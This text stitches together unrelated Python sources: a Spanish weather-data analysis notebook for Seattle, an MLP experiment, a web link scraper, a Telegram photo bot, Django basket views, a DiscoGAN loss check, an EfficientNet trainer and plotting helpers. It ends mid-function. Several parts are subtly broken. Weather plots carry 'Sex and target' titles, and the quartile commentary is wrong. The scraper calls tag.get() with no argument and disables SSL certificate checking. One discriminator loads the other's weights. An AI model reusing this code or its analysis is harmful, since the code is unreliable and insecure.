sns.histplot(data=_df.precipitation,kde=True)
plt.xlim(0,50)

# Podemos ver una clara asimetria hacia la derecha

# In[372]:

frec = _df["precipitation"].value_counts()
precipitation_freq=pd.DataFrame(frec)
precipitation_freq=precipitation_freq.rename(columns={'precipitation':'Frecuencia Absoluta'})
Frec_abs_val = precipitation_freq["Frecuencia Absoluta"].values
acum = []
valor_acum = 0
for i in Frec_abs_val:
    valor_acum = valor_acum + i
    acum.append(valor_acum)

precipitation_freq["frec_abs_acum"] = acum
precipitation_freq["frec_rel_%"] = round(100 * precipitation_freq["Frecuencia Absoluta"]/len(_df.precipitation),4)
Frec_rel_val = precipitation_freq["frec_rel_%"].values
acum = []
valor_acum = 0
for i in Frec_rel_val:
    valor_acum = valor_acum + i
    acum.append(valor_acum)

precipitation_freq["frec_rel_%_acum"] = acum
precipitation_freq.sort_values(by='Frecuencia Absoluta',ascending=False)

# In[373]:

precipitation_freq.head()  #Los primeros 5 valores en la distribución de frecuencia absoluta

# In[374]:

precipitation_freq.tail()   #Los últimos 5 valores en la distribución de frecuencia absoluta

# ### 3) Wind

# Esta variable se encuentra en millas por hora Mph

# In[375]:

_df.wind.describe()

# In[376]:

sns.histplot(data=_df.wind,kde=True)
plt.xlim(0,10)

# En este caso podemos ver que la distribución es prácticamente normal no estandar

# In[377]:

violinplot(x=_df.wind, data=_df , orient="Verical")

# Aquí podemos visualizar mejor la distribución de los datos, dónde el ancho de la figura indica la frecuencia de ocurrencia absoluta de los valores.

# ### 3) Temp_Max

# Esta variable se encuentra en grados celcius C°

# In[378]:

_df.temp_max.describe()

# In[379]:

sns.histplot(data=_df.temp_max,kde=True)
plt.xlim(0,36)

# En este caso tambien, la distribución es prácticamente normal, media 16.43 y desviación estándar +- 7.35, si observamos las estadísticas descriptivas, el 25% de la distribución se da en 10.6 (16.43-7.35=9) y el 75% es en 22.2 (16.43+7.35=23.78)

# ### 3) Temp_Min

# Esta variable se encuentra en grados celcius C°

# In[380]:

_df.temp_min.describe()

# In[381]:

sns.histplot(data=_df.temp_min,kde=True)
plt.xlim(0,18.3)

# Aquí la distribución ya no parece la de una normal. La temperatura mínima observada se encuentra distribuida de manera más uniforme

# In[382]:

violinplot(x=_df.temp_min, data=_df , orient="Verical")

# La densidad que representa la figura es más amplia respecto al eje x, con lo cuál, para cada temperatura mínima existe un número similar de ocurrencias

# ### Análisis bivariado de las variables consideradas

# In[383]:

plt.rcParams['figure.figsize'] = (10,8)

sns.heatmap(_df.corr(), annot = True, cmap = 'Wistia')
plt.title('Mapa de correlaciones', fontsize = 20)
plt.show()

# Analizamos mediante el mapa de correlaciones la relación lineal entre las variables cuantitativas bajo análisis.

# ### 1) Weather vs Wind

# In[384]:

sns.scatterplot(x="weather", y="wind", data=_df)
plt.title('Relacion entre Sex and target', fontsize = 20, fontweight = 30)

# Podemos ver que en el caso de la llovizna, el viento es débil. Luego, para el caso de las lluvias, la distribución es mas uniforme. Por otro lado, en el caso del clima soleado, suele darse con mayor concentración para velocidades de viento menores. Por último, para el caso de la nieve y la niebla, hay algunos puntos pero la relación es débil. La niebla es más probable con poco viento.

# In[385]:

_df.groupby('weather')[['wind']].mean()  #Medias dentro de cada tipo de clima

# ### 2) Weather vs Precipitation

# In[386]:

sns.scatterplot(x="weather", y="precipitation", data=_df)
plt.title('Relacion entre Sex and target', fontsize = 20, fontweight = 30)

# Aquí podemos observar que las precipitaciones sólo se dan en el clima de lluvia y nieve. No se detectan precipitaciones en climas de neblina o llovizna.

# In[387]:

_df.groupby('weather')[['precipitation']].mean()  #Medias dentro de cada tipo de clima

# ### 3) Weather vs Temp_min

# In[388]:

sns.scatterplot(x="weather", y="temp_min", data=_df)
plt.title('Relacion entre Sex and target', fontsize = 20, fontweight = 30)

# Podemos observar de forma gráfica que los climas de llovizna, lluvia y niebla con compatibles con temperaturas mínimas mas elevadas. En el caso del clima soleado se presente para todas las temperaturas mínimas observadas y en el caso de nieve, para casos de temperaturas mínimas bajas.

# In[389]:

_df.groupby('weather')[['temp_min']].mean()  #Medias dentro de cada tipo de clima, reforzamos el análisis gráfico.v

# ### 3) Weather vs Temp_max

# In[390]:

sns.scatterplot(x="weather", y="temp_max", data=_df)
plt.title('Relacion entre Sex and target', fontsize = 20, fontweight = 30)

# Podemos observar de forma gráfica que los climas de llovizna, lluvia y niebla con compatibles con temperaturas máximas mas elevadas. En el caso del clima soleado se presente para todas las temperaturas mínimas observadas y en el caso de nieve, para casos de temperaturas mínimas bajas.

# In[391]:

_df.groupby('weather')[['temp_max']].mean()  #Medias dentro de cada tipo de clima

# ### Análisis multivariado de las variables consideradas

# In[392]:

sns.FacetGrid(_df,hue = 'weather' , height = 5).map(plt.scatter,'temp_min','temp_max').add_legend();
plt.show()

# In[393]:

sns.FacetGrid(_df,hue = 'weather' , height = 5).map(plt.scatter,'precipitation','wind').add_legend();
plt.show()

# In[394]:

sns.FacetGrid(_df,hue = 'weather' , height = 5).map(plt.scatter,'wind','temp_max').add_legend();
plt.show()

# In[395]:

sns.FacetGrid(_df,hue = 'weather' , height = 5).map(plt.scatter,'wind','temp_min').add_legend();
plt.show()

# In[396]:

sns.FacetGrid(_df,hue = 'weather' , height = 5).map(plt.scatter,'precipitation','temp_min').add_legend();
plt.show()

# In[397]:

sns.FacetGrid(_df,hue = 'weather' , height = 5).map(plt.scatter,'precipitation','temp_max').add_legend();
plt.show()

# Podemos observar que existe sólo un claro patrón en el primer caso, de temperatura min vs temperatura máx. En el resto de los casos, no hay un patrón.

# In[398]:

plt.figure(dpi=120)
sns.pairplot(_df)
plt.show()

# Aquí podemos observar lo mismo que antes y sacar las mismas conclusiones, sin discriminar por tipo de clima.

# In[399]:

_df.groupby('weather')[['precipitation','wind','temp_min','temp_max']].mean().T

# Mediante la tabla descriptiva podemos analizar que:
#
# - **precipitation**: se presenta sólo en el clima de lluvia y nive, con una media de mm mayor en el último estado.
# - **wind**: se presenta en todos los estados, con mayor velocidad durante la nieve y climas soleados.
# - **temp_min**: se presenta en todos los estados
# - **temp_max**: se presenta en todos los estados

# In[400]:

_df['date']=pd.to_datetime(_df['date'])

# In[401]:

_df['date'] =_df['date'].dt.strftime('%m')

# In[402]:

_df.groupby('date')[['precipitation','wind','temp_min','temp_max']].mean().T

# Mediante dicha tabla podemos analizar el mes, tomando un promedio de los años analizados, con mayor media de cada variable. Entonces, Noviembre es el mes en el cuál mas lluvia hay, Diciembre es el mes con mas vientos, las temperaturas mínimas son mayores en Enero y las máximas en Agosto.

# ## Objetivo

# El objetivo principal del presente proyecto es obtener mediante un algoritmo de machine learning, un modelo que a travéz de los inputs analizados nos permita pronosticar el clima en la ciudad de Seattle. Nuestra variable target es entonces la variable "Weather" y las variables explicativas son las precipitaciones en pulgadas, la velocidad del viento en millas por hora y la temperatura mínima y máxima en grados celcius.

# In[ ]:


import logging
from dataclasses import dataclass

from sklearn.datasets import fetch_20newsgroups_vectorized
from sklearn.model_selection import train_test_split
from sklearn.neural_network import MLPClassifier

import curifactory as cf
from curifactory.caching import PickleCacher
from curifactory.reporting import JsonReporter, LinePlotReporter

@dataclass
class Params(cf.ExperimentParameters):
    layers: tuple = (100,)
    seed: int = 42
    activation: str = "relu"
    sample_count: int = 9000
    dimesionality: int = 500

@cf.stage(
    inputs=None, outputs=["training_data", "testing_data"], cachers=[PickleCacher] * 2
)
def load_data(record):
    params: Params = record.params

    data = fetch_20newsgroups_vectorized()
    x_train, x_test, y_train, y_test = train_test_split(
        data.data[: params.sample_count, : params.dimesionality],
        data.target[: params.sample_count],
        test_size=0.75,
        random_state=params.seed,
    )
    logging.info(x_train.shape)

    return (x_train, y_train), (x_test, y_test)

@cf.stage(inputs=["training_data"], outputs=["model"], cachers=[PickleCacher])
def train_model(record, training_data):
    params: Params = record.params

    clf = MLPClassifier(params.layers, activation=params.activation).fit(
        training_data[0], training_data[1]
    )

    record.report(LinePlotReporter(clf.loss_curve_, name="loss"))
    return clf

@cf.aggregate(
    inputs=["model", "testing_data"], outputs=["scores"], cachers=[PickleCacher]
)
def test_models(
    record: cf.Record,
    records: list[cf.Record],
    model: dict[cf.Record, any],
    testing_data: dict[cf.Record, any],
):
    scores = {}

    # iterate through every record and score its associated model
    lines = {}
    for r, r_model in model.items():
        score = r_model.score(testing_data[r][0], testing_data[r][1])

        # store the result keyed to the argument set name
        scores[r.params.name] = score
        lines[r.params.name] = r_model.loss_curve_

    record.report(LinePlotReporter(lines))
    record.report(JsonReporter(scores))
    return scores

def get_params():
    params = []
    layer_sizes = [1, 10, 20, 50, 100]
    for size in layer_sizes:
        params.append(Params(name=f"{size}", layers=(size,)))
    return params

def run(param_sets, manager):
    for param_set in param_sets:
        record = cf.Record(manager, param_set)
        train_model(load_data(record))

    test_models(cf.Record(manager, None))


#Import urllib and BS
from urllib.request import urlopen
from bs4 import BeautifulSoup
import ssl

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

#Set inputs
url = input('Enter URL - ')

count = input('Enter count - ')
count = int(count)

position = input('Enter position - ')
position = int(position)

#print(range(count))
#counting loop
for num in range(count + 1) :
    print(num)
    print('Retrieving:', url)
    html = urlopen(url, context=ctx).read()
    soup = BeautifulSoup(html, 'html.parser')
    tags = soup('a')
    for tag in tags:
        link = tag.get()
        print(link[position - 1])


import telebot
import argparse
import os
import random

# Open cmd. Then write CD and path to bot folder.
# Run echo_bot with command 'python echo_bot.py --p "path\to\folder\"'
# Path to images folder should look like this
# "C:\photo_bot\photos\\"

parser = argparse.ArgumentParser()
parser.add_argument("--p", default=1, type=str, help="Path", required=True)
args = parser.parse_args()
path = args.p
files = os.listdir(path)

bot = telebot.TeleBot("YourBotToken")

@bot.message_handler(commands=['start'])
def send_welcome(message):
    bot.send_message(message.chat.id, "Hi, want a picture?")

@bot.message_handler(commands=['getcat'])
def send_photo(message):
    bot.send_chat_action(message.chat.id, 'upload_photo')
    random.seed()
    rand_num = random.randint(0, len(files) - 1)
    img = open(path + files[rand_num], 'rb')
    bot.send_photo(message.chat.id, img,
                   reply_to_message_id=message.message_id)
    img.close()

bot.polling()


from django.contrib.auth.decorators import login_required
from django.http import JsonResponse
from django.urls import reverse
from django.shortcuts import render, HttpResponseRedirect, get_object_or_404

from basketapp.models import Basket
from products.models import Product

from geekshop.utils import is_ajax, get_price_format

@login_required
def basket(request):
    title = 'корзина'
    basket_items = request.user.basket.order_by('product__category')

    content = {
        'title': title,
        'basket_items': basket_items,
        'total': get_total(request)
    }

    return render(request, 'basketapp/basket.html', content)

@login_required
def add(request, pk=None):
    if 'login' in request.META.get('HTTP_REFERER'):
        return HttpResponseRedirect(reverse('products:product', args=[pk]))

    product = get_object_or_404(Product, pk=pk)

    basket = Basket.objects.filter(user=request.user, product=product).first()

    if not basket:
        basket = Basket(user=request.user, product=product)

    if product.quantity > 0:
        basket.quantity += 1
        basket.save()

    return HttpResponseRedirect(request.META.get('HTTP_REFERER'))

@login_required
def remove(request, pk):
    if 'login' in request.META.get('HTTP_REFERER'):
        return HttpResponseRedirect(reverse('basket:view'))

    basket_record = get_object_or_404(Basket, pk=pk)
    basket_record.delete()

    return HttpResponseRedirect(request.META.get('HTTP_REFERER'))

def get_total(request):
    basket = []
    qty = 0
    sum = 0
    if request.user.is_authenticated:
        basket = request.user.basket.all()

    for item in basket:
        qty += item.quantity
        sum += item.get_item_total()

    return {
        'qty': qty,
        'sum': get_price_format(int(sum))
    }

@login_required
def edit(request, pk, quantity):
    # request.is_ajax()
    if is_ajax(request):
        quantity = int(quantity)
        basket_item = Basket.objects.filter(pk=int(pk)).first()
        cost = 0

        result = {
            'status': 'error',
            'basket_item': {
                'id': int(pk),
                'cost': 0,
                'qty': quantity
            },
            'itog': {},
        }

        if basket_item is None:
            result['basket_item']['qty'] = 0
            return JsonResponse(result)

        if quantity > 0:
            if basket_item.quantity + basket_item.product.quantity >= quantity:
                basket_item.quantity = quantity
            else:
                result['basket_item']['qty'] = basket_item.quantity
            basket_item.save()

            cost = int(basket_item.get_item_total())
            result['basket_item']['cost'] = get_price_format(cost)
        else:
            basket_item.delete()

        result['itog'] = get_total(request)
        result['status'] = 'success'

        # result = render_to_string('basketapp/includes/inc_basket_list.html', content)

        return JsonResponse(result)


import paddle
import paddle.nn as nn
from loss_fn import HingeEmbeddingLoss
from model import Discriminator, Generator

import sys
sys.path.append(r"D:\code_sources\from_github\paddlepaddle\14s\DiscoGAN-Paddle\pipeline")
from utils import gen_fake_data, torch2paddle, torch2paddle_gether
from reprod_log import ReprodLogger

recon_criterion = nn.MSELoss()
gan_criterion = nn.BCELoss()
feat_criterion = HingeEmbeddingLoss()

# def logger
reprod_logger = ReprodLogger()

def get_fm_loss(real_feats, fake_feats, criterion):
    losses = 0
    for real_feat, fake_feat in zip(real_feats, fake_feats):
        l2 = (real_feat.mean(0) - fake_feat.mean(0)) * (real_feat.mean(0) - fake_feat.mean(0))
        loss = criterion(l2, paddle.ones(l2.shape))
        losses += loss

    return losses

def get_gan_loss(dis_real, dis_fake, criterion):
    labels_dis_real = paddle.ones([dis_real.shape[0], 1])
    labels_dis_fake = paddle.zeros([dis_fake.shape[0], 1])
    labels_gen = paddle.ones([dis_fake.shape[0], 1])

    dis_real = dis_real.reshape([dis_real.shape[0], 1])
    dis_fake = dis_fake.reshape([dis_fake.shape[0], 1])
    dis_loss = criterion(dis_real, labels_dis_real) * 0.5 + criterion(dis_fake, labels_dis_fake) * 0.5
    gen_loss = criterion(dis_fake, labels_gen)

    return dis_loss, gen_loss

generator_A = Generator()
generator_B = Generator()
discriminator_A = Discriminator()
discriminator_B = Discriminator()

# 加载预训练模型

discoGAN_ckpt = torch2paddle_gether("./discoGAN.pth")
generator_A.set_state_dict(discoGAN_ckpt['generator_A'])
generator_B.set_state_dict(discoGAN_ckpt['generator_B'])
discriminator_A.set_state_dict(discoGAN_ckpt['discriminator_B'])
discriminator_B.set_state_dict(discoGAN_ckpt['discriminator_B'])

generator_A.eval()
generator_B.eval()
discriminator_A.eval()
discriminator_B.eval()

A, _ = gen_fake_data(seed=42, shape=[4, 3, 64, 64])
B, _ = gen_fake_data(seed=100, shape=[4, 3, 64, 64])

with paddle.no_grad():

    AB = generator_B(B)
    BA = generator_A(A)

    ABA = generator_A(AB)
    BAB = generator_B(BA)

    # Reconstruction Loss
    recon_loss_A = recon_criterion(ABA, A)
    recon_loss_B = recon_criterion(BAB, B)

    # Real/Fake GAN Loss (A)
    A_dis_real, A_feats_real = discriminator_A(A)
    A_dis_fake, A_feats_fake = discriminator_A(BA)

    dis_loss_A, gen_loss_A = get_gan_loss(A_dis_real, A_dis_fake, gan_criterion)
    fm_loss_A = get_fm_loss(A_feats_real, A_feats_fake, feat_criterion)

    # Real/Fake GAN Loss (B)
    B_dis_real, B_feats_real = discriminator_B(B)
    B_dis_fake, B_feats_fake = discriminator_B(AB)

    dis_loss_B, gen_loss_B = get_gan_loss(B_dis_real, B_dis_fake, gan_criterion)
    fm_loss_B = get_fm_loss(B_feats_real, B_feats_fake, feat_criterion)

    rate = 0.01

    gen_loss_A_total = (gen_loss_B * 0.1 + fm_loss_B * 0.9) * (1. - rate) + recon_loss_A * rate
    gen_loss_B_total = (gen_loss_A * 0.1 + fm_loss_A * 0.9) * (1. - rate) + recon_loss_B * rate

    gen_loss = gen_loss_A_total + gen_loss_B_total
    dis_loss = dis_loss_A + dis_loss_B

reprod_logger.add("gen_loss", gen_loss.cpu().detach().numpy())
reprod_logger.add("dis_loss", dis_loss.cpu().detach().numpy())
reprod_logger.save("loss_paddle.npy")


from tensorflow.keras.applications import EfficientNetB3
from tensorflow.keras import layers,optimizers
from tensorflow.keras.callbacks import EarlyStopping
from tensorflow.keras.models import Sequential
import tensorflow as tf
from tensorflow.keras.layers.experimental import preprocessing
from tensorflow.keras.optimizers.schedules import ExponentialDecay
import os
from sklearn.model_selection import train_test_split
import cv2
import sys
import numpy as np
import matplotlib.pyplot as plt

sys.path.append('..')
cd = os.getcwd()

size = 300

def load_img(dir1):
    face = []
    label = []
    X = []
    Y = []
    for subdir in os.listdir(dir1):
        path = dir1 + subdir
        for img in os.listdir(path + '/'):
            nm = os.path.splitext(os.path.basename(subdir))[0]
            imgfile = cv2.imread(path + '/' + img)
            s = cv2.resize(imgfile, (size, size))
            im = np.array(s)
            im = im.astype('float32')
            face.append(im)
            label.append(nm)
            print(nm)
    X.extend(face)
    Y.extend(label)
    return np.asarray(X),np.asarray(Y)

def encode(y):
    lab = []
    for label in y:
        if label == "safe":
            x = [1, 0]
        else:
            x = [0, 1]
        lab.append(x)
    return np.asarray(lab)

x,y = load_img("worker/")
trainx, testx, trainy, testy = train_test_split(x,y,test_size=0.2,random_state=0)
labtrny = encode(trainy)
labtesy = encode(testy)

img_augmentation = Sequential(
    [
        preprocessing.RandomRotation(factor=0.15),
        preprocessing.RandomTranslation(height_factor=0.1, width_factor=0.1),
        preprocessing.RandomFlip(),
        preprocessing.RandomContrast(factor=0.1),
    ],
    name="img_augmentation",
)

lr_schedule = ExponentialDecay(initial_learning_rate=0.001,
                               decay_steps=10000,
                               decay_rate=0.9)

inputs = layers.Input(shape=(size, size, 3))
x = img_augmentation(inputs)
baseModel = EfficientNetB3(include_top=True, classes=2, weights=None)(inputs)
model = tf.keras.Model(inputs,baseModel)
print(model.summary())
sgd = optimizers.Adam(learning_rate=lr_schedule)
model.compile(optimizer=sgd, loss="categorical_crossentropy", metrics=['accuracy'])
Monitor = EarlyStopping(monitor='val_loss', patience=30, min_delta=0.01, verbose=1, restore_best_weights=True)
hist = model.fit(x=trainx,y=labtrny,batch_size=16,epochs=200,validation_data=(testx,labtesy),callbacks=[Monitor],
                 verbose=2)

model.save("enetapd.h5")
newfit = min(hist.history['val_loss'])
newacc = max(hist.history['val_accuracy'])
print('New Model Validation Fitness: ', newfit)
plt.plot(hist.history["accuracy"])
plt.plot(hist.history['val_accuracy'])
plt.plot(hist.history['loss'])
plt.plot(hist.history['val_loss'])
plt.title("model accuracy")
plt.ylabel("Accuracy")
plt.xlabel("Epoch")
plt.legend(["Accuracy", "Validation Accuracy", "loss", "Validation Loss"])
plt.show()


import numpy as np
import seaborn as sns
import shap
from matplotlib import pyplot as plt
from sklearn.calibration import CalibrationDisplay
from sklearn.metrics import auc, precision_recall_curve, average_precision_score, plot_roc_curve, plot_precision_recall_curve, \
    ConfusionMatrixDisplay, PrecisionRecallDisplay
from sweetviz import compare, analyze
import os.path as pth
import warnings
#001C7F, #D62728, #017517, #8C0900, #7600A1, #B8860B, #FF7F0E
dpi = 300
colors = ['#001C7F', '#D62728', '#017517', '#8C0900', '#7600A1', '#B8860B', '#FF7F0E']

model_name_replacements = {
    'DecisionTreeClassifier': 'Decision tree',
    'LogisticRegression': 'Logistic regression',
    'LinearSVC': 'Linear SVM',
    'GradientBoostingClassifier': 'Gradient boosting machine',
    'RandomForestClassifier': 'Random forest',
    'SVC': 'SVM',
    'MLPClassifier': 'Neural network',
}

def boxplot(out_dir, data, metric_name, y_label, ymin=0, ymax=1):
    """Prints boxplot for CV Splits and additionally plots test set value

    Parameters
    ----------
    out_dir : str
        Base output directory
    data : dict
        Metric data in the form {model_name: (list of val split results, test split result)}
    metric_name : str
        The name of the metric
    y_label : str
        The name of the predicted endpoint
    ymin : int, default=0
        min of y axis (usually 0)
    ymax : int, default=0
        max of y axis (usually 1)
    """

    fig = plt.figure()
    fig.suptitle(f'{metric_name} for all models predicting {y_label}')
    ax = fig.add_subplot(111)
    ax.spines['right'].set_visible(False)
    ax.spines['top'].set_visible(False)

    model_names = list(data.keys())
    # Plot val boxplot
    val_data = list(map(lambda x: x[0], data.values()))
    plt.boxplot(val_data)

    # Plot test single data point
    test_data = list(map(lambda x: x[1], data.values()))
    plt.scatter(range(1, len(model_names) + 1), test_data, marker='o', color='blue')

    # Format axes etc
    ax.set_xticklabels([model_name_replacements.get(model_name, model_name) for model_name in model_names], rotation=45, ha='right')
    ax.set_ylim(ymin, ymax)
    ax.set_ylabel(metric_name)
    plt.tight_layout()
    plt.savefig(f'{out_dir}/{y_label.replace(" ", "_")}/all_models_{metric_name}', dpi=dpi)
    plt.close()

def plot_coefficients(out_dir, coefs, feature_names, model_name, label_name, top_features=None):
    # filter out 0 values
    filter_mask = (abs(coefs) > 1e-3)
    coefs = coefs[filter_mask]
    feature_names = feature_names[filter_mask]
    if top_features:
        top_coef_indixes = np.argsort(abs(coefs))[-top_features:]
        coefs = coefs[top_coef_indixes]
        feature_names = feature_names[top_coef_indixes]
    # sort coefficients
    sort_mask = np.argsort(coefs)
    coefs = coefs[sort_mask]
    feature_names = feature_names[sort_mask]
    # plot
    plt.figure(figsize=(30, 10))
    plt.suptitle(f'Feature importance - {model_name} predicting {label_name}')
    colors = ['red' if c < 0 else 'blue' for c in coefs]
    plt.bar(np.arange(len(coefs)), coefs, color=colors)
    plt.xticks(np.arange(len(coefs)), feature_names, rotation=60, ha='right')
    plt.tight_layout()
    plt.savefig(f'{out_dir}/{label_name.replace(" ", "_")}/test/{model_name}_feature_importance', dpi=dpi)
    plt.close()

def plot_summary_roc(all_model_metrics, out_dir, label_col, dataset_partition='val', title=None, legend=False, value_in_legend=True):
    """
    Plot ROC curves for all models in one figure.
    Parameters
    ----------
    all_model_metrics:
    out_dir: str
    label_col:
    dataset_partition: str
        'val' or 'test', depending on which curves to plot (for CV or test performance)
    title: Include title in plot.
    legend: Include legend in plot.
    """
    if dataset_partition == 'val':
        ds_index = 0
    else:
        ds_index = 1

    plt.rcParams['font.family'] = "Arial"
    plt.style.use('seaborn-notebook')
    fig, ax = plt.subplots(figsize=(10, 5))
    ax.set_aspect('equal')
    if title:
        fig.suptitle(f"{title} {label_col}")
    ax.plot([0, 1], [0, 1], linestyle='--', lw=2, color='grey', label='Chance', alpha=.8)

    x_linspace = np.linspace(0, 1, 101)
    roc_prc_data = {model_name: entry[2] for model_name, entry in all_model_metrics.items()}
    i = 0
    for model_name, val_and_test_curves_data in roc_prc_data.items():
        if model_name == 'DummyClassifier':
            continue
        if value_in_legend:
            label = '{} (AUROC = {:.2f})'.format(model_name_replacements.get(model_name, model_name),
                                                 np.mean(all_model_metrics[model_name][ds_index]['roc_auc']))
        else:
            label = model_name_replacements.get(model_name, model_name)
        ax.plot(x_linspace, val_and_test_curves_data[ds_index][0],
                label=label,
                lw=2, alpha=.8, color=colors[i])
        i += 1
    ax.set(xlim=[-0.05, 1.05], ylim=[-0.05, 1.05])
    if legend:
        ax.legend(loc="upper center", bbox_to_anchor=(0.5, -0.15))
    plt.xlabel('False Positive Rate', fontsize=18)
    plt.ylabel('True Positive Rate', fontsize=18)
    ax.tick_params(axis='both', which='major', labelsize=12)
    ax.tick_params(axis='both', which='minor', labelsize=12)
    plt.savefig(f'{out_dir}/{label_col}/all_models_{dataset_partition}_roc_curves'.replace(' ', '_'),
                bbox_inches='tight', dpi=dpi)
    plt.close()

def plot_summary_prc(all_model_metrics, out_dir, label_col, y, dataset_partition='val', title=None, legend=False, value_in_legend=True):
    """
    Plot PRC curves for all models in one figure.
    Parameters
    ----------
    all_model_metrics:
    out_dir: str
    label_col:
    y:
    dataset_partition: str
        'val' or 'test', depending on which curves to plot (for CV or test performance)
    title: Include title in plot.
    legend: Include legend in plot.
    """
    if dataset_partition == 'val':
        ds_index = 0
    else:
        ds_index = 1

    plt.rcParams['font.family'] = "Arial"
    plt.style.use('seaborn-notebook')
    fig, ax = plt.subplots(figsize=(10, 5))
    ax.set_aspect('equal')
    if title:
        fig.suptitle(f"{title} {label_col}")
    ax.plot([0, 1], [(len(y[y == 1]) / len(y)), (len(y[y == 1]) / len(y))], linestyle='--', lw=2, color='grey',
            label='Chance', alpha=.8)
    roc_prc_data = {model_name: entry[2] for model_name, entry in all_model_metrics.items()}
    i = 0
    for model_name, val_and_test_curves_data in roc_prc_data.items():
        if model_name == 'DummyClassifier':
            continue
        if value_in_legend:
            label = '{} (AUPRC = {:.2f})'.format(model_name_replacements.get(model_name, model_name),
                                                 np.mean(all_model_metrics[model_name][ds_index]['prc_auc']))
        else:
            label = model_name_replacements.get(model_name, model_name)
        ax.plot(val_and_test_curves_data[ds_index][2], val_and_test_curves_data[ds_index][1],
                label=label,
                lw=2, alpha=.8, color=colors[i])
        i += 1
    ax.set(xlim=[-0.05, 1.05], ylim=[-0.05, 1.05])
    plt.xlabel('Recall', fontsize=18)
    plt.ylabel('Precision', fontsize=18)
    ax.tick_params(axis='both', which='major', labelsize=12)
    ax.tick_params(axis='both', which='minor', labelsize=12)
    if legend:
        ax.legend(loc="upper center", bbox_to_anchor=(0.5, -0.15))
    plt.savefig(f'{out_dir}/{label_col}/all_models_{dataset_partition}_prc_curves'.replace(' ', '_'),
                bbox_inches='tight', dpi=dpi)
    plt.close()

def plot_summary_roc_pr(all_model_metrics, out_dir, label_col, y):
    """
    Plot both ROC and PR curves for all models in one figure.
    Parameters
    ----------
    all_model_metrics:
    out_dir: str
    label_col:
    y:
    """
    # Plot mean val & test ROC and PR Curve for all models
    fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))
    ax1.set_aspect('equal')
    ax2.set_aspect('equal')
    fig.suptitle(f'Predicting {label_col} ROC & PR Curves')
    ax1.plot([0, 1], [0, 1], linestyle='--', lw=2, color='grey',
             label='Chance', alpha=.8)
    ax2.plot([0, 1], [(len(y[y == 1]) / len(y)), (len(y[y == 1]) / len(y))], linestyle='--', lw=2, color='grey',
             label='Chance', alpha=.8)
    x_linspace = np.linspace(0, 1, 101)
    roc_prc_data = {model_name: entry[2] for model_name, entry in all_model_metrics.items()}
    for model_name, (val_curves_data, test_curves_data) in roc_prc_data.items():
        if model_name == 'DummyClassifier':
            continue
        ax1.plot(x_linspace, val_curves_data[0],
                 label='{} (AUROC = {:.2f})'.format(model_name_replacements.get(model_name, model_name),
                                                    np.mean(all_model_metrics[model_name][0]['roc_auc'])),
                 lw=1, alpha=.8)
        ax2.plot(val_curves_data[2], val_curves_data[1],
                 label='{} (AUPRC = {:.2f})'.format(model_name_replacements.get(model_name, model_name),
                                                    np.mean(all_model_metrics[model_name][0]['prc_auc'])),
                 lw=1, alpha=.8)
    ax1.set(xlim=[-0.05, 1.05], ylim=[-0.05, 1.05],
            title='ROC')
    ax1.legend(loc="upper center", bbox_to_anchor=(0.5, -0.15))
    ax2.set(xlim=[-0.05, 1.05], ylim=[0.0, 1.05],
            title='Precision-Recall')
    ax2.legend(loc="upper center", bbox_to_anchor=(0.5, -0.15))
    plt.savefig(f'{out_dir}/{label_col}/all_models_roc_prc_curves'.replace(' ', '_'),
                bbox_inches='tight', dpi=dpi)
    plt.close()

def plot_val_mean_roc(ax, tprs, aucs, x_linspace):
    ax.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r',
            label='Chance', alpha=.8)

    mean_tpr = np.mean(tprs, axis=0)
    mean_tpr[-1] = 1.0
    mean_auc = auc(x_linspace, mean_tpr)
    std_auc = np.std(aucs)
    ax.plot(x_linspace, mean_tpr, color='b',
            label=r'Mean ROC (AUROC = %0.2f $\pm$ %0.2f)' % (mean_auc, std_auc),
            lw=2, alpha=.8)

    std_tpr = np.std(tprs, axis=0)
    tprs_upper = np.minimum(mean_tpr + std_tpr, 1)
    tprs_lower = np.maximum(mean_tpr - std_tpr, 0)
    ax.fill_between(x_linspace, tprs_lower, tprs_upper, color='grey', alpha=.2,
                    label=r'$\pm$ 1 std. dev.')

    ax.set(xlim=[-0.05, 1.05], ylim=[-0.05, 1.05],
           title='ROC')
    ax.legend(loc="upper center", bbox_to_anchor=(0.5, -0.15))

    return mean_tpr

def plot_val_mean_prec_rec(ax, ys_real, ys_proba, pos_class_fraction):
    ax.plot([0, 1], [pos_class_fraction, pos_class_fraction], linestyle='--', lw=2, color='r',
            label='Chance', alpha=.8)

    overall_precision, overall_recall, _ = precision_recall_curve(ys_real, ys_proba)
    overall_prc_auc = auc(overall_recall, overall_precision)
    overall_prc_ap = average_precision_score(ys_real, ys_proba)
    ax.plot(overall_recall, overall_precision, color='b',
            label=r'Overall Prec_Rec (AP = %0.2f, AUC = %.2f)' % (overall_prc_ap, overall_prc_auc),
            lw=2, alpha=.8)

    ax.set(xlim=[-0.05, 1.05], ylim=[0.0, 1.05],
           title='Precision-Recall')

    ax.legend(loc="upper center", bbox_to_anchor=(0.5, -0.15))

    return overall_precision, overall_recall, overall_prc_auc

def data_exploration_comparison(train_data, test_data, endpoint, file_path):
    exploration_report = compare([train_data, "Training data"], [test_data, "External Test Data"], endpoint)
    exploration_report.show_html(filepath=pth.join(file_path, f"dataset_comparison_{endpoint}.html"),
                                 open_browser=False,
                                 layout='widescreen',
                                 scale=None)

def data_exploration(data, endpoint, file_path):
    exploration_report = analyze([data, "Source Data"], endpoint)
    exploration_report.show_html(filepath=pth.join(file_path, f"dataset_exploration_{endpoint}.html"),
                                 open_browser=False,
                                 layout='widescreen',
                                 scale=None)

def plot_roc_pr_curve(X_test, y_test, endpoint, model, model_name, out_dir):
    fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))
    ax1.set_aspect('equal')
    ax2.set_aspect('equal')
    ax1.set(xlim=[-0.05, 1.05], ylim=[0.0, 1.05])
    ax2.set(xlim=[-0.05, 1.05], ylim=[0.0, 1.05])
    fig.suptitle(f'{model_name} predicting {endpoint}')
    # ROC
    roc_plot = plot_roc_curve(model, X_test, y_test,
                              name='ROC curve', lw=1, ax=ax1)
    ax2.set(xlim=[-0.05, 1.05], ylim=[0.0, 1.05])
    prc_plot = PrecisionRecallDisplay.from_estimator(model, X_test, y_test,
                                                     name='PR curve', lw=1, ax=ax2)
